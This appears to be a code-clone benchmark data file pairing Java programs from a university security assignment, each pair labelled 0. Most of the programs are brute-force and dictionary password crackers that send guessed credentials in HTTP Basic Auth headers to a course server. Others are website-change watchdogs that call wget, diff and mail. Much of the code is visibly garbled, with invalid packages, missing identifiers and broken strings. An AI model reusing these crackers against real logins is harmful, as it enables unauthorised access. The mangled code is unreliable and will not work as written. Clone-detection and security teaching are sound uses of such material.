String password=getPassword(startTime);
System.out.println("The password is " + password);
}
public static String getPassword(double startTime)
{
char first, second, third;
String password="";
int requests=0;
for (int i=65; i<123; i++)
{
requests++;
first = (char) i;
password = first + "";
if (testPassword(password, startTime, requests))
return password;
for (int j=65; j<123; j++)
{
requests++;
second = (char) j;
password = first + "" + second;
if (testPassword(password, startTime, requests))
return password;
for (int k=65; k<123; k++)
{
requests++;
third = (char) k;
password = first + "" + second + "" + third;
if (testPassword(password, startTime, requests))
return password;
if (k==90)
k=96;
}
if (j==90)
j=96;
}
if (i==90)
i=96;
}
return password;
}
private static boolean testPassword(String password, double startTime, int requests)
{
try
{
URL url=new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
HttpURLConnection connection;
String userPassword = ":" + password;
String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());
try
{
connection = (HttpURLConnection) url.openConnection();
connection.setRequestProperty("Authorization", " " + encoding);
int status=connection.getResponseCode();
System.out.println(password + requests);
if (status==200)
{
System.out.println("It took " + getTime(startTime) + " milliseconds find the password.");
System.out.println(" were " + requests + " requests .");
return true;
}
return false;
}
catch (IOException ioe)
{
System.out.print(ioe);
return false;
}
}
catch (IOException MalformedURLException)
{
System.out.print("Invalid URL");
return false;
}
}
private static double getTime(double startTime)
{
Calendar cal = Calendar.getInstance();
Date now=cal.getTime();
double endTime = now.getTime();
return endTime-startTime;
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
022.java | 161.java | 0 |
import javax.swing.*;
public class BruteForce
{
public static void main( String args[] )
{
PasswordCombination pwdCombination;
pwdCombination = new PasswordCombination();
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
107.java | 161.java | 0 |
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class WatchdogPropertyHelper {
private static Properties testProps;
public WatchdogPropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the watchddog Props");
e.printStackTrace();
}
return testProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(testProps == null){
testProps = new Properties();
InputStream fis =
WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties");
testProps.load(fis);
}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
195.java | 161.java | 0 |
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
for(;;)
{
String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"};
Process p4;
Process p5;
Process c1 = Runtime.getRuntime().exec("mkdir copy1");
c1.waitFor();
Process c2 = Runtime.getRuntime().exec("mkdir copy2");
c2.waitFor();
Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process a11 = Runtime.getRuntime().exec(s2);
a11.waitFor();
Process a12 = Runtime.getRuntime().exec(s3);
a12.waitFor();
Thread.sleep(86400000);
Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process a21 = Runtime.getRuntime().exec(s4);
a21.waitFor();
Process a22 = Runtime.getRuntime().exec(s5);
a22.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s);
DataInputStream dis = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("\t\t\tWATCHDOG PROGRAM");
System.out.println("\t\t\t****************");
System.out.println("If any change in the web then the value 1");
System.out.println("If is change then the value 0 ");
System.out.println("The value :" + p4.exitValue());
try
{
while ((str = dis.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e)
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("diff.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream dis1 = new DataInputStream(p5.getInputStream());
p5.waitFor();
System.out.println("u have received a mail");
try
{
while ((str1 = dis1.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException ie1)
{
ie1.printStackTrace();
}
}
}
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
182.java | 161.java | 0 | import java.net.*;
import java.io.*;
public class Dictionary extends Authenticator {
private String username;
private char [] thisPassword;
private URL url;
private BufferedReader bf;
public static void main(String [] args) {
if(args.length!=3) {
System.err.println(
"usage: Dictionary <url> <username> <dictionary-file>");
System.exit(1);
}
Dictionary d = null;
try {
d = new Dictionary(args[0], args[1], args[2]);
} catch (MalformedURLException me) {
me.printStackTrace();
System.exit(1);
} catch (FileNotFoundException fe) {
fe.printStackTrace();
System.exit(1);
}
d.work();
}
public Dictionary(String url, String username, String passwordFilename)
throws MalformedURLException, FileNotFoundException {
this.url = new URL(url);
this.username = username;
thisPassword = new char [] {'a'};
File f = new File(passwordFilename);
FileReader fr = new FileReader(f);
bf = new BufferedReader(fr);
}
public void work() {
Authenticator.setDefault(this);
HttpURLConnection uc = null;
try {
uc = (HttpURLConnection) url.openConnection();
uc.connect();
while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED &&
thisPassword !=null) {
try {
InputStream is = uc.getInputStream();
uc.connect();
} catch (ProtocolException pe) {
uc = (HttpURLConnection) url.openConnection();
} catch (NullPointerException npe) {
npe.printStackTrace();
System.exit(1);
}
}
} catch (java.io.IOException e ) {
e.printStackTrace();
System.exit(1);
}
System.out.println("password=" + new String(thisPassword));
}
public PasswordAuthentication getPasswordAuthentication() {
String s=null;
try {
for(s = bf.readLine(); s!=null; s = bf.readLine()) {
if(s.length()==3) {
break;
}
}
} catch (IOException e) {
e.printStackTrace();
System.exit(1);
}
if(s.length()!=3) {
thisPassword = null;
} else {
thisPassword = s.toCharArray();
}
return new PasswordAuthentication(username, thisPassword);
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
201.java | 161.java | 0 |
import java.net.*;
import java.io.*;
import java.Ostermiller.util.*;
import java.util.*;
public class MyClient1 implements Runnable
{
private String hostname;
private int port;
private String filename;
private Socket s;
private int n;
private InputStream sin;
private OutputStream sout;
private int dif;
private String myPassword;
private int status;
private int myTime;
private Dictionary myMaster;
public MyClient1(Dictionary dic, int num, int myPort, String password)
{
hostname = new String("sec-crack.cs.rmit.edu.");
port = myPort;
status = 0;
myTime = 0;
myPassword = password;
filename = new String("/SEC/2/");
myMaster = 0;
n = num;
dif = 0;
}
public getDif()
{
return dif;
}
public int getStatus()
{
return status;
}
public void run()
{
String inputLine;
String[] tokens = new String[5];
int i;
myTime = 0;
finish = 0;
start = System.currentTimeMillis();
try
{
s = new Socket( hostname, port);
}catch( UnknownHostException e)
{
System.out.println("'t find host");
}catch( IOException e)
{
System.out.println("Error connecting host "+n);
return;
}
while(s.isConnected() == false)
continue;
finish = System.currentTimeMillis();
dif = finish - start;
try
{
sin = s.getInputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));
try
{
sout = s.getOutputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));
toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n");
toServer.flush();
try
{
inputLine = fromServer.readLine();
}catch( IOException e)
{
System.out.println("'t open stream");
inputLine = null;
}
java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " ");
i = 0;
while(bf.hasMoreTokens())
{
tokens[i] =bf .nextToken();
i++;
}
status = Integer.parseInt( tokens[1]);
myTime = System.currentTimeMillis();
if( status == 200)
{
System.out.println("Ok "+myPassword);
myMaster.retire( this);
}
toServer.send();
try
{
fromServer.recieve();
}catch( IOException e)
{
System.out.println("'t open stream");
}
try
{
s.connect();
}catch( IOException e)
{
System.out.println("'t connection");
System.exit(0);
}
}
public getTime()
{
return myTime;
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
024.java | 161.java | 0 |
import java.util.*;
import java.net.*;
import java.io.*;
import javax.swing.*;
public class PasswordCombination
{
private int pwdCounter = 0;
private int startTime;
private String str1,str2,str3;
private String url = "http://sec-crack.cs.rmit.edu./SEC/2/";
private String loginPwd;
private String[] password;
private HoldSharedData data;
private char[] chars = {'A','B','C','D','E','F','G','H','I','J','K','L','M',
'N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
'a','b','c','d','e','f','g','h','i','j','k','l','m',
'n','o','p','q','r','s','t','u','v','w','x','y','z'};
public PasswordCombination()
{
System.out.println("Programmed by for INTE1070 Assignment 2");
String input = JOptionPane.showInputDialog( "Enter number of threads" );
if( input == null )
System.exit(0);
int numOfConnections = Integer.parseInt( input );
startTime = System.currentTimeMillis();
int pwdCounter = 52*52*52 + 52*52 + 52;
password = new String[pwdCounter];
doPwdCombination();
System.out.println("Total Number of Passwords Generated: " + pwdCounter);
createConnectionThread( numOfConnections );
}
private void doPwdCombination()
{
for( int i = 0; i < 52; i ++ )
{
str1 = "" + chars[i];
password[pwdCounter++] = "" + chars[i];
System.err.print( str1 + " | " );
for( int j = 0; j < 52; j ++ )
{
str2 = str1 + chars[j];
password[pwdCounter++] = str1 + chars[j];
for( int k = 0; k < 52; k ++ )
{
str3 = str2 + chars[k];
password[pwdCounter++] = str2 + chars[k];
}
}
}
System.err.println( "\n" );
}
private void loadPasswords( )
{
FileReader fRead;
BufferedReader buf;
String line = null;
String fileName = "words";
try
{
fRead = new FileReader( fileName );
buf = new BufferedReader(fRead);
while((line = buf.readLine( )) != null)
{
password[pwdCounter++] = line;
}
}
catch(FileNotFoundException e)
{
System.err.println("File not found: " + fileName);
}
catch(IOException ioe)
{
System.err.println("IO Error " + ioe);
}
}
private void createConnectionThread( int input )
{
data = new HoldSharedData( startTime, password, pwdCounter );
int numOfThreads = input;
int batch = pwdCounter/numOfThreads + 1;
numOfThreads = pwdCounter/batch + 1;
System.out.println("Number of Connection Threads Used:" + numOfThreads);
ConnectionThread[] connThread = new ConnectionThread[numOfThreads];
for( int index = 0; index < numOfThreads; index ++ )
{
connThread[index] = new ConnectionThread( url, index, batch, data );
connThread[index].conn();
}
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
226.java | 161.java | 0 |
import java.io.*;
import java.net.*;
import javax.swing.Timer;
import java.awt.event.*;
import javax.swing.JOptionPane;
public class WatchDog
{
private static Process pro = null;
private static Runtime run = Runtime.getRuntime();
public static void main(String[] args)
{
String cmd = null;
try
{
cmd = new String("wget -O original.txt http://www.cs.rmit.edu./students/");
pro = run.exec(cmd);
System.out.println(cmd);
}
catch (IOException e)
{
}
class Watch implements ActionListener
{
BufferedReader in = null;
String str = null;
Socket socket;
public void actionPerformed (ActionEvent event)
{
try
{
System.out.println("in Watch!");
String cmd = new String();
int ERROR = 1;
cmd = new String("wget -O new.txt http://www.cs.rmit.edu./students/");
System.out.println(cmd);
cmd = new String("diff original.txt new.txt");
pro = run.exec(cmd);
System.out.println(cmd);
in = new BufferedReader(new InputStreamReader(pro.getInputStream()));
if (((str=in.readLine())!=null)&&(!str.endsWith("d0")))
{
System.out.println(str);
try
{
socket = new Socket("yallara.cs.rmit.edu.",25);
PrintWriter output = new PrintWriter(socket.getOutputStream(),true);
String linetobesent = null;
BufferedReader getin = null;
try
{
FileReader = new FileReader("template.txt");
getin = new BufferedReader();
while (!(linetobesent=getin.readLine()).equals(""))
{
System.out.println(linetobesent);
output.println(linetobesent);
}
output.println("Orignail Line .s C New Line .s " + str);
while ((linetobesent=in.readLine())!=null)
{
output.println(linetobesent);
System.out.println(linetobesent);
}
while ((linetobesent=getin.readLine())!=null)
{
output.println(linetobesent);
System.out.println(linetobesent);
}
cmd = new String("cp new.txt original.txt");
System.out.println(cmd);
pro = run.exec(cmd);
}
catch (IOException ex)
{
System.out.println(ex);
}
catch (Exception ex)
{
System.out.println(ex);
System.exit(ERROR);
}
finally
{
try
{
if (getin!= null)
getin.read();
}
catch (IOException e) {}
}
}
catch (UnknownHostException e)
{
System.out.println(e);
System.exit(ERROR);
}
catch (IOException e)
{
System.out.println(e);
System.exit(ERROR);
}
}
else
System.out.println("string is empty");
}
catch (IOException exc)
{
}
}
}
Watch listener = new Watch();
Timer t = new Timer(null,listener);
t.close();
JOptionPane.showMessageDialog(null,"Exit WatchDog program?");
System.exit(0);
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
085.java | 161.java | 0 |
import java.Thread;
import java.io.*;
import java.net.*;
public class Dictionary extends Thread {
final static int SUCCESS=1,
FAILED=0,
UNKNOWN=-1;
private static String host,
path,
user;
private Socket target;
private InputStream input;
private OutputStream output;
private byte[] data;
private int threads,
threadno,
response;
public static boolean solved = false;
Dictionary parent;
static LineNumberReader lnr;
public Dictionary(String host, String path, String user, int threads, int threadno, Dictionary parent, LineNumberReader lnr)
{
super();
this.parent = parent;
this.host = host;
this.path = path;
this.user = user;
this.threads = threads;
this.threadno = threadno;
}
public void run()
{
response = FAILED;
int x = 0;
String word = "";
starttime = System.currentTimeMillis();
try
{
boolean passwordOkay;
while(word != null && !parent.solved)
{
passwordOkay = false;
while(!passwordOkay || word == null)
{
word = lnr.readLine();
passwordOkay = true;
if(word.length() != 3) passwordOkay = false;
}
response = tryLogin(word);
x++;
if(response == SUCCESS)
{
System.out.println("SUCCESS! (after " + x + " tries) The password is: "+ word);
parent.solved = true;
}
if(response == UNKNOWN) System.out.println("Unexpected response (Password: "+ word +")");
}
}
catch(Exception e)
{
System.err.println("Error while from dictionary: " + e.getClass().getName() + ": " + e.getMessage());
}
if(response == SUCCESS)
{
System.out.println("Used time: " + ((System.currentTimeMillis() - starttime) / 1000.0) + "sec.");
System.out.println("Thread . " + threadno + " was the one!");
}
}
public static void main (String[] args)
{
Dictionary parent;
try
{
lnr = new LineNumberReader(new FileReader("/usr/share/lib/dict/words"));
}
catch(Exception e)
{
System.err.println("Error while loading dictionary: " + e.getClass().getName() + ": " + e.getMessage());
}
Dictionary[] attackslaves = new Dictionary[10];
if(args.length == 3)
{
host = args[0];
path = args[1];
user = args[2];
}
else
{
System.out.println("Usage: Dictionary <host> <path> <user>");
System.out.println(" arguments specified, using standard values.");
host = "sec-crack.cs.rmit.edu.";
path = "/SEC/2/index.php";
user = "";
}
System.out.println("Host: " + host + "\nPath: " + path + "\nUser: " + user);
System.out.println("Using " + attackslaves.length + " happy threads...");
parent = new Dictionary(host, path, user, 0, 0, null, lnr);
for(int i=0; i<attackslaves.length; i++)
{
attackslaves[i] = new Dictionary(host, path, user, attackslaves.length, i, parent, lnr);
}
for(int i=0; i<attackslaves.length; i++)
{
attackslaves[i].print();
}
}
private int tryLogin(String password)
{
int success = UNKNOWN;
try
{
data = new byte[12];
target = new Socket(host, 80);
input = target.getInputStream();
output = target.getOutputStream();
String base = new pw.misc.BASE64Encoder().encode(new String(user + ":" + password).getBytes());
output.write(new String("GET " + path + " HTTP/1.0\r\n").getBytes());
output.write(new String("Authorization: " + base + "\r\n\r\n").getBytes());
input.print(data);
if(new String(data).endsWith("401")) success=0;
if(new String(data).endsWith("200")) success=1;
}
catch(Exception e)
{
System.out.println(e.getClass().getName() + ": " + e.getMessage());
}
return success;
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
215.java | 161.java | 0 |
import java.Runtime;
import java.io.*;
public class differenceFile
{
StringWriter sw =null;
PrintWriter pw = null;
public differenceFile()
{
sw = new StringWriter();
pw = new PrintWriter();
}
public String compareFile()
{
try
{
Process = Runtime.getRuntime().exec("diff History.txt Comparison.txt");
InputStream write = sw.getInputStream();
BufferedReader bf = new BufferedReader (new InputStreamReader(write));
String line;
while((line = bf.readLine())!=null)
pw.println(line);
if((sw.toString().trim()).equals(""))
{
System.out.println(" difference");
return null;
}
System.out.println(sw.toString().trim());
}catch(Exception e){}
return sw.toString().trim();
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
131.java | 161.java | 0 |
import java.io.*;
import java.net.*;
public class BruteForce
{
private String myUsername = "";
private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";
private int NUM_CHARS = 52;
public static void main(String args[])
{
BruteForce bf = new BruteForce();
}
public BruteForce()
{
generatePassword();
}
public void generatePassword()
{
int index1 = 0, index2, index3;
char passwordChars[] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',
'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R',
'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i',
'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r',
's', 't', 'u', 'v', 'w', 'x', 'y', 'z' };
while(index1 < NUM_CHARS)
{
index2 = 0;
while(index2 < NUM_CHARS)
{
index3 = 0;
while(index3 < NUM_CHARS)
{
crackPassword(new String("" + passwordChars[index1] + passwordChars[index2] + passwordChars[index3]));
